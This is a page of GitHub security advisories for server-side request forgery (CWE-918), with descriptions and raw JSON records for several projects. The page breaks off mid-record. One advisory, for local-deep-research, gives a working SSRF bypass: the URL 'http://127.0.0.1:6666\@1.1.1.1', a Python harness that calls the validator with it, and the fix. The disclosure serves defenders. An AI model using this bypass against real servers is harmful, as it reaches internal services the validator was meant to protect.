Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

4755 vulnerabilities reference this CWE, most recent first.

GHSA-FWQW-PR3C-3J3R

Vulnerability from github – Published: 2022-04-16 00:00 – Updated: 2022-04-23 00:03
VLAI
Details

An SSRF issue was discovered in Asterisk through 19.x. When using STIR/SHAKEN, it's possible to send arbitrary requests (such as GET) to interfaces such as localhost by using the Identity header. This is fixed in 16.25.2, 18.11.2, and 19.3.2.

Severity
9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-26499"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-04-15T05:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "An SSRF issue was discovered in Asterisk through 19.x. When using STIR/SHAKEN, it\u0027s possible to send arbitrary requests (such as GET) to interfaces such as localhost by using the Identity header. This is fixed in 16.25.2, 18.11.2, and 19.3.2.",
  "id": "GHSA-fwqw-pr3c-3j3r",
  "modified": "2022-04-23T00:03:21Z",
  "published": "2022-04-16T00:00:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-26499"
    },
    {
      "type": "WEB",
      "url": "https://downloads.asterisk.org/pub/security"
    },
    {
      "type": "WEB",
      "url": "https://downloads.asterisk.org/pub/security/AST-2022-002.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2022/11/msg00021.html"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2022/dsa-5285"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/166745/Asterisk-Project-Security-Advisory-AST-2022-002.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-FWVG-2739-22V7

Vulnerability from github – Published: 2023-12-29 19:36 – Updated: 2023-12-29 19:36
VLAI
Summary
Miniflare vulnerable to Server-Side Request Forgery (SSRF)
Details

Impact

Sending specially crafted HTTP requests to Miniflare's server could result in arbitrary HTTP and WebSocket requests being sent from the server. If Miniflare was configured to listen on external network interfaces (as was the default in wrangler until 3.19.0), an attacker on the local network could access other local servers.

Patches

The issue was fixed in miniflare@3.20231030.2.

Workarounds

Ensure Miniflare is configured to listen on just local interfaces. This is the default behaviour, but can also be configured with the host: "127.0.0.1" option.

References

  • https://github.com/cloudflare/workers-sdk/pull/4532
Severity
7.5 (High)
CVSS:3.1/AV:A/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "miniflare"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.20230821.0"
            },
            {
              "fixed": "3.20231030.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-7078"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-12-29T19:36:41Z",
    "nvd_published_at": "2023-12-29T12:15:47Z",
    "severity": "HIGH"
  },
  "details": "### Impact\nSending specially crafted HTTP requests to Miniflare\u0027s server could result in arbitrary HTTP and WebSocket requests being sent from the server. If Miniflare was configured to listen on external network interfaces (as was the default in `wrangler` until `3.19.0`), an attacker on the local network could access other local servers.\n\n### Patches\nThe issue was fixed in `miniflare@3.20231030.2`.\n\n### Workarounds\nEnsure Miniflare is configured to listen on just local interfaces. This is the default behaviour, but can also be configured with the `host: \"127.0.0.1\"` option.\n\n### References\n- https://github.com/cloudflare/workers-sdk/pull/4532\n",
  "id": "GHSA-fwvg-2739-22v7",
  "modified": "2023-12-29T19:36:41Z",
  "published": "2023-12-29T19:36:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/cloudflare/workers-sdk/security/advisories/GHSA-fwvg-2739-22v7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-7078"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cloudflare/workers-sdk/pull/4532"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/cloudflare/workers-sdk"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Miniflare vulnerable to Server-Side Request Forgery (SSRF)"
}

GHSA-FX92-VCGX-G354

Vulnerability from github – Published: 2026-03-12 00:31 – Updated: 2026-03-12 00:31
VLAI
Details

A vulnerability was determined in zyddnys manga-image-translator up to beta-0.3. The affected element is the function to_pil_image of the file manga-image-translator-main/server/request_extraction.py of the component Translate Endpoints. This manipulation causes server-side request forgery. It is possible to initiate the attack remotely. The exploit has been publicly disclosed and may be utilized. The project was informed of the problem early through an issue report but has not responded yet.

Severity
6.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
2.1 (Low)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-3961"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-11T22:16:37Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was determined in zyddnys manga-image-translator up to beta-0.3. The affected element is the function to_pil_image of the file manga-image-translator-main/server/request_extraction.py of the component Translate Endpoints. This manipulation causes server-side request forgery. It is possible to initiate the attack remotely. The exploit has been publicly disclosed and may be utilized. The project was informed of the problem early through an issue report but has not responded yet.",
  "id": "GHSA-fx92-vcgx-g354",
  "modified": "2026-03-12T00:31:17Z",
  "published": "2026-03-12T00:31:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-3961"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zyddnys/manga-image-translator/issues/1118"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zyddnys/manga-image-translator/issues/1119"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zyddnys/manga-image-translator"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.350390"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.350390"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.768180"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.768210"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.768211"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.768212"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.768214"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.768224"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.768225"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-FXJG-28FM-PFXH

Vulnerability from github – Published: 2023-07-06 19:24 – Updated: 2025-02-13 18:54
VLAI
Summary
Apache Superset Server-Side Request Forgery vulnerability
Details

A malicious actor who has been authenticated and granted specific permissions in Apache Superset may use the import dataset feature in order to conduct Server-Side Request Forgery attacks and query internal resources on behalf of the server where Superset is deployed. This vulnerability exists in Apache Superset versions up to and including 2.0.1.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "apache-superset"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-25504"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-07-06T22:10:49Z",
    "nvd_published_at": "2023-04-17T17:15:00Z",
    "severity": "MODERATE"
  },
  "details": "A malicious actor who has been authenticated and granted specific permissions in Apache Superset may use the import dataset feature in order to conduct Server-Side Request Forgery attacks and query internal resources on behalf of the server where Superset is deployed. This vulnerability exists\u00a0in Apache Superset versions up to and including 2.0.1.",
  "id": "GHSA-fxjg-28fm-pfxh",
  "modified": "2025-02-13T18:54:17Z",
  "published": "2023-07-06T19:24:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-25504"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/superset"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/tdnzkocfsqg2sbbornnp9g492fn4zhtx"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2023/04/18/8"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Apache Superset Server-Side Request Forgery vulnerability"
}

GHSA-FXR5-H7MW-3FWM

Vulnerability from github – Published: 2026-06-19 06:31 – Updated: 2026-06-19 06:31
VLAI
Details

The Bit integrations – Form Integration, Webhook, Spreadsheets, CRM, LMS & Email Automation plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 2.8.7 via the upload_attachment. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services. Exploitation requires a form integration to be configured with a field mapped to a WooCommerce product image, product gallery, downloadable files, or Google Contacts attachment field, which is a default use case for these integrations.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-11989"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-19T06:17:01Z",
    "severity": "MODERATE"
  },
  "details": "The Bit integrations \u2013 Form Integration, Webhook, Spreadsheets, CRM, LMS \u0026 Email Automation plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 2.8.7 via the upload_attachment. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services. Exploitation requires a form integration to be configured with a field mapped to a WooCommerce product image, product gallery, downloadable files, or Google Contacts attachment field, which is a default use case for these integrations.",
  "id": "GHSA-fxr5-h7mw-3fwm",
  "modified": "2026-06-19T06:31:56Z",
  "published": "2026-06-19T06:31:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-11989"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/bit-integrations/tags/2.8.2/backend/Actions/GoogleContacts/RecordApiHelper.php#L139"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/bit-integrations/tags/2.8.2/backend/Actions/GoogleContacts/RecordApiHelper.php#L168"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/bit-integrations/tags/2.8.2/backend/Actions/WooCommerce/RecordApiHelper.php#L584"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/bit-integrations/tags/2.8.2/backend/Actions/WooCommerce/RecordApiHelper.php#L631"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/bit-integrations/tags/2.8.7/backend/Actions/GoogleContacts/RecordApiHelper.php#L139"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/bit-integrations/tags/2.8.7/backend/Actions/GoogleContacts/RecordApiHelper.php#L168"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/bit-integrations/tags/2.8.7/backend/Actions/WooCommerce/RecordApiHelper.php#L584"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/bit-integrations/tags/2.8.7/backend/Actions/WooCommerce/RecordApiHelper.php#L631"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3571608%40bit-integrations\u0026new=3571608%40bit-integrations\u0026sfp_email=\u0026sfph_mail="
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/bdf8d5c2-dbb1-47d5-b858-da6f6e1989f4?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-G23J-2VWM-5C25

Vulnerability from github – Published: 2026-05-28 19:18 – Updated: 2026-06-09 10:23
VLAI
Summary
local-deep-research has an SSRF bypass in `safe_get`
Details

Summary

The URL checking logic in local-deep-research has a logical flaw that could be bypassed by attackers, leading to SSRF attacks.

Details

The current project uses validate_url to validate the input URL. The main logic is to perform security checks on the host portion of the URL extracted by urlparse to prevent SSRF attacks.

QQ20260430-212334-30-1

However, there are indeed differences in parsing between urlparse and the library that actually sends the request. For example, in safe_get, validate_url is first used to perform an SSRF check, and then requests.get is used to send the actual request.

QQ20260430-212431-30-2

The core issue: urlparse() and requests disagree on which host a URL like http://127.0.0.1:6666\@1.1.1.1 points to:

  • urlparse() treats \ as a regular character and @ as the userinfo-host delimiter, so it extracts hostname as 1.1.1.1 (public)
  • requests treats \ as a path character, connecting to 127.0.0.1 (internal)

Below is a test code I wrote following the code.

#!/usr/bin/env python3
"""Standalone demo: import project via absolute path and call safe_get."""

from __future__ import annotations

import importlib.util
import enum
import sys
import types
from pathlib import Path

# Hardcoded absolute path to the project's "src" directory.
SRC_ROOT = Path(
    r"d:\BaiduNetdiskDownload\local-deep-research-main\local-deep-research-main\src"
)

# Python 3.10 compatibility:
# project constants import StrEnum (available in Python 3.11+).
if not hasattr(enum, "StrEnum"):
    class _CompatStrEnum(str, enum.Enum):
        pass

    enum.StrEnum = _CompatStrEnum  # type: ignore[attr-defined]


def _load_safe_get():
    """Load safe_get directly from file, bypassing package __init__ imports."""
    ldr_pkg_name = "local_deep_research"
    security_pkg_name = "local_deep_research.security"

    # Build lightweight package modules so relative imports in safe_requests.py
    # resolve without executing package __init__.py files.
    if ldr_pkg_name not in sys.modules:
        ldr_pkg = types.ModuleType(ldr_pkg_name)
        ldr_pkg.__path__ = [str(SRC_ROOT / "local_deep_research")]  # type: ignore[attr-defined]
        sys.modules[ldr_pkg_name] = ldr_pkg

    if security_pkg_name not in sys.modules:
        security_pkg = types.ModuleType(security_pkg_name)
        security_pkg.__path__ = [str(SRC_ROOT / "local_deep_research" / "security")]  # type: ignore[attr-defined]
        sys.modules[security_pkg_name] = security_pkg

    module_name = "local_deep_research.security.safe_requests"
    module_path = SRC_ROOT / "local_deep_research" / "security" / "safe_requests.py"

    spec = importlib.util.spec_from_file_location(module_name, module_path)
    if spec is None or spec.loader is None:
        raise ImportError(f"Cannot load module from {module_path}")

    module = importlib.util.module_from_spec(spec)
    sys.modules[module_name] = module
    spec.loader.exec_module(module)
    return module.safe_get


safe_get = _load_safe_get()


def main() -> None:
    # Hardcoded URL for demonstration.
    url = "http://127.0.0.1:6666"
    # url = "http://127.0.0.1:6666\@1.1.1.1"

    safe_get(url, timeout=15)


if __name__ == "__main__":
    main()

When an attacker uses http://127.0.0.1:6666/, the existing detection logic can detect that this is an internal network address and block it.

QQ20260430-212723-30-3

However, when an attacker uses http://127.0.0.1:6666\@1.1.1.1, the detection logic resolves the host to 1.1.1.1, which is a public IP address, thus passing the verification. But in the actual request process, this URL is forwarded by requests.get to http://127.0.0.1:6666, bypassing the detection and achieving an SSRF attack.

QQ20260430-212833-30-4

PoC

http://127.0.0.1:6666\@1.1.1.1

Impact

SSRF

Maintainer note (2026-05-15)

Thanks @Fushuling and @RacerZ-fighting for the detailed report. The remediation spans four PRs, all merged to main and shipped in v1.6.10:

#3873 (merged 2026-05-08) — the load-bearing fix for the parser-differential bypass: - New RFC_FORBIDDEN_URL_CHARS_RE in security/ssrf_validator.py rejects URLs containing backslash, ASCII control bytes, or whitespace — RFC 3986 forbids these and their presence signals a parser-differential attempt. - Host extraction switched from urllib.parse.urlparse(url).hostname to urllib3.util.parse_url(url).host. urllib3 is the parser requests uses internally, so the validator and the HTTP client now agree on the destination by construction — closing the \@ divergence that drove the PoC. - Same two-layer defence applied to NotificationURLValidator.validate_service_url. - 53 new tests across test_ssrf_validator.py, test_notification_validator.py, test_safe_requests.py, and test_ssrf_redirect_bypass.py, including the advisory PoC http://127.0.0.1:6666\@1.1.1.1 and the post-prepare canonical form http://127.0.0.1:6666/%5C@1.1.1.1.

#3882 (merged 2026-05-08) — hardens the metadata-IP block and redacts userinfo from log output so rejected URLs don't leak credentials to logs.

#3889 (merged 2026-05-09) — locks in real-world URL fixtures and behavior invariants from #3873/#3882 as regression tests.

#3932 (merged 2026-05-10) — blocks IPv6 transition prefixes (2002::/16 6to4, 64:ff9b::/96 NAT64, 2001::/32 Teredo, 100::/64 discard) so private IPv4 destinations cannot be reached via an IPv6-wrapped form. NAT64 has an operator opt-in (LDR_SECURITY_ALLOW_NAT64=true) for IPv6-only deployments, but cloud metadata IPs remain blocked regardless.

Affected versions

  • The specific parser-differential bypass described above exists from v1.3.0 (when validate_url was first introduced) through v1.6.9. The validator used urlparse(url).hostname for that entire span.
  • Versions before v1.3.0 had no SSRF validator at all — requests went directly to requests.get() without any host check. Those versions are vulnerable to SSRF via this URL and any other internal address; the parser-differential trick is unnecessary.

In both cases the remediation is the same: upgrade to v1.6.10 or later.

Severity
5.0 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "local-deep-research"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.6.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-46526"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-28T19:18:34Z",
    "nvd_published_at": "2026-05-28T19:16:39Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nThe URL checking logic in local-deep-research has a logical flaw that could be bypassed by attackers, leading to SSRF attacks.\n\n### Details\nThe current project uses `validate_url` to validate the input URL. The main logic is to perform security checks on the host portion of the URL extracted by urlparse to prevent SSRF attacks.\n\n\u003cimg width=\"1173\" height=\"1107\" alt=\"QQ20260430-212334-30-1\" src=\"https://github.com/user-attachments/assets/52b356aa-9ad3-4b1d-a472-39a2ada3ea23\" /\u003e\n\nHowever, there are indeed differences in parsing between urlparse and the library that actually sends the request. For example, in `safe_get`, `validate_url` is first used to perform an SSRF check, and then `requests.get` is used to send the actual request.\n\n\u003cimg width=\"1164\" height=\"1089\" alt=\"QQ20260430-212431-30-2\" src=\"https://github.com/user-attachments/assets/f3decb16-4daa-49e0-861c-273a913487a0\" /\u003e\n\nThe core issue: urlparse() and requests disagree on which host a URL like `http://127.0.0.1:6666\\@1.1.1.1` points to:\n\n- urlparse() treats \\ as a regular character and @ as the userinfo-host delimiter, so it extracts hostname as `1.1.1.1` (public)\n- requests treats \\ as a path character, connecting to `127.0.0.1` (internal)\n\nBelow is a test code I wrote following the code.\n```\n#!/usr/bin/env python3\n\"\"\"Standalone demo: import project via absolute path and call safe_get.\"\"\"\n\nfrom __future__ import annotations\n\nimport importlib.util\nimport enum\nimport sys\nimport types\nfrom pathlib import Path\n\n# Hardcoded absolute path to the project\u0027s \"src\" directory.\nSRC_ROOT = Path(\n    r\"d:\\BaiduNetdiskDownload\\local-deep-research-main\\local-deep-research-main\\src\"\n)\n\n# Python 3.10 compatibility:\n# project constants import StrEnum (available in Python 3.11+).\nif not hasattr(enum, \"StrEnum\"):\n    class _CompatStrEnum(str, enum.Enum):\n        pass\n\n    enum.StrEnum = _CompatStrEnum  # type: ignore[attr-defined]\n\n\ndef _load_safe_get():\n    \"\"\"Load safe_get directly from file, bypassing package __init__ imports.\"\"\"\n    ldr_pkg_name = \"local_deep_research\"\n    security_pkg_name = \"local_deep_research.security\"\n\n    # Build lightweight package modules so relative imports in safe_requests.py\n    # resolve without executing package __init__.py files.\n    if ldr_pkg_name not in sys.modules:\n        ldr_pkg = types.ModuleType(ldr_pkg_name)\n        ldr_pkg.__path__ = [str(SRC_ROOT / \"local_deep_research\")]  # type: ignore[attr-defined]\n        sys.modules[ldr_pkg_name] = ldr_pkg\n\n    if security_pkg_name not in sys.modules:\n        security_pkg = types.ModuleType(security_pkg_name)\n        security_pkg.__path__ = [str(SRC_ROOT / \"local_deep_research\" / \"security\")]  # type: ignore[attr-defined]\n        sys.modules[security_pkg_name] = security_pkg\n\n    module_name = \"local_deep_research.security.safe_requests\"\n    module_path = SRC_ROOT / \"local_deep_research\" / \"security\" / \"safe_requests.py\"\n\n    spec = importlib.util.spec_from_file_location(module_name, module_path)\n    if spec is None or spec.loader is None:\n        raise ImportError(f\"Cannot load module from {module_path}\")\n\n    module = importlib.util.module_from_spec(spec)\n    sys.modules[module_name] = module\n    spec.loader.exec_module(module)\n    return module.safe_get\n\n\nsafe_get = _load_safe_get()\n\n\ndef main() -\u003e None:\n    # Hardcoded URL for demonstration.\n    url = \"http://127.0.0.1:6666\"\n    # url = \"http://127.0.0.1:6666\\@1.1.1.1\"\n\n    safe_get(url, timeout=15)\n\n\nif __name__ == \"__main__\":\n    main()\n```\nWhen an attacker uses `http://127.0.0.1:6666/`, the existing detection logic can detect that this is an internal network address and block it.\n\n\u003cimg width=\"1694\" height=\"503\" alt=\"QQ20260430-212723-30-3\" src=\"https://github.com/user-attachments/assets/366f684d-9191-4acb-b6a2-b2c3c54f0223\" /\u003e\n\nHowever, when an attacker uses `http://127.0.0.1:6666\\@1.1.1.1`, the detection logic resolves the host to `1.1.1.1`, which is a public IP address, thus passing the verification. But in the actual request process, this URL is forwarded by requests.get to `http://127.0.0.1:6666`, bypassing the detection and achieving an SSRF attack.\n\n\u003cimg width=\"2424\" height=\"477\" alt=\"QQ20260430-212833-30-4\" src=\"https://github.com/user-attachments/assets/bd175e34-d833-44c5-981b-59cfad3406c3\" /\u003e\n\n### PoC\n```\nhttp://127.0.0.1:6666\\@1.1.1.1\n```\n\n### Impact\nSSRF\n\n\n\n---\n\n## Maintainer note (2026-05-15)\n\nThanks @Fushuling and @RacerZ-fighting for the detailed report. The remediation\nspans four PRs, all merged to `main` and shipped in **v1.6.10**:\n\n**#3873** (merged 2026-05-08) \u2014 the load-bearing fix for the parser-differential\nbypass:\n- New `RFC_FORBIDDEN_URL_CHARS_RE` in `security/ssrf_validator.py` rejects\n  URLs containing backslash, ASCII control bytes, or whitespace \u2014 RFC 3986\n  forbids these and their presence signals a parser-differential attempt.\n- Host extraction switched from `urllib.parse.urlparse(url).hostname` to\n  `urllib3.util.parse_url(url).host`. `urllib3` is the parser `requests`\n  uses internally, so the validator and the HTTP client now agree on the\n  destination by construction \u2014 closing the `\\@` divergence that drove the\n  PoC.\n- Same two-layer defence applied to `NotificationURLValidator.validate_service_url`.\n- 53 new tests across `test_ssrf_validator.py`, `test_notification_validator.py`,\n  `test_safe_requests.py`, and `test_ssrf_redirect_bypass.py`, including the\n  advisory PoC `http://127.0.0.1:6666\\@1.1.1.1` and the post-prepare canonical\n  form `http://127.0.0.1:6666/%5C@1.1.1.1`.\n\n**#3882** (merged 2026-05-08) \u2014 hardens the metadata-IP block and redacts\nuserinfo from log output so rejected URLs don\u0027t leak credentials to logs.\n\n**#3889** (merged 2026-05-09) \u2014 locks in real-world URL fixtures and behavior\ninvariants from #3873/#3882 as regression tests.\n\n**#3932** (merged 2026-05-10) \u2014 blocks IPv6 transition prefixes (`2002::/16`\n6to4, `64:ff9b::/96` NAT64, `2001::/32` Teredo, `100::/64` discard) so private\nIPv4 destinations cannot be reached via an IPv6-wrapped form. NAT64 has an\noperator opt-in (`LDR_SECURITY_ALLOW_NAT64=true`) for IPv6-only deployments,\nbut cloud metadata IPs remain blocked regardless.\n\n### Affected versions\n\n- **The specific parser-differential bypass** described above exists from\n  **v1.3.0** (when `validate_url` was first introduced) through **v1.6.9**.\n  The validator used `urlparse(url).hostname` for that entire span.\n- **Versions before v1.3.0** had no SSRF validator at all \u2014 requests went\n  directly to `requests.get()` without any host check. Those versions are\n  vulnerable to SSRF via this URL and any other internal address; the\n  parser-differential trick is unnecessary.\n\nIn both cases the remediation is the same: **upgrade to v1.6.10 or later.**",
  "id": "GHSA-g23j-2vwm-5c25",
  "modified": "2026-06-09T10:23:33Z",
  "published": "2026-05-28T19:18:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/LearningCircuit/local-deep-research/security/advisories/GHSA-g23j-2vwm-5c25"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46526"
    },
    {
      "type": "WEB",
      "url": "https://github.com/LearningCircuit/local-deep-research/pull/3873"
    },
    {
      "type": "WEB",
      "url": "https://github.com/LearningCircuit/local-deep-research/pull/3882"
    },
    {
      "type": "WEB",
      "url": "https://github.com/LearningCircuit/local-deep-research/pull/3889"
    },
    {
      "type": "WEB",
      "url": "https://github.com/LearningCircuit/local-deep-research/pull/3932"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/LearningCircuit/local-deep-research"
    },
    {
      "type": "WEB",
      "url": "https://github.com/LearningCircuit/local-deep-research/releases/tag/v1.6.10"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "local-deep-research has an SSRF bypass in `safe_get`"
}

GHSA-G25P-5RVG-VW46

Vulnerability from github – Published: 2022-06-10 00:00 – Updated: 2022-06-16 00:00
VLAI
Details

Jizhicms v2.2.5 was discovered to contain a Server-Side Request Forgery (SSRF) vulnerability via the Index function in app/admin/c/PluginsController.php.

Severity
9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-31393"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-06-09T14:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Jizhicms v2.2.5 was discovered to contain a Server-Side Request Forgery (SSRF) vulnerability via the Index function in app/admin/c/PluginsController.php.",
  "id": "GHSA-g25p-5rvg-vw46",
  "modified": "2022-06-16T00:00:24Z",
  "published": "2022-06-10T00:00:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-31393"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Cherry-toto/jizhicms/issues/76"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-G26J-5385-HHW3

Vulnerability from github – Published: 2024-09-13 18:31 – Updated: 2024-09-13 19:29
VLAI
Summary
LiteLLM Server-Side Request Forgery (SSRF) vulnerability
Details

A Server-Side Request Forgery (SSRF) vulnerability exists in berriai/litellm version 1.38.10. This vulnerability allows users to specify the api_base parameter when making requests to POST /chat/completions, causing the application to send the request to the domain specified by api_base. This request includes the OpenAI API key. A malicious user can set the api_base to their own domain and intercept the OpenAI API key, leading to unauthorized access and potential misuse of the API key.

Severity
7.5 (High)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "litellm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.44.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-6587"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-09-13T19:29:08Z",
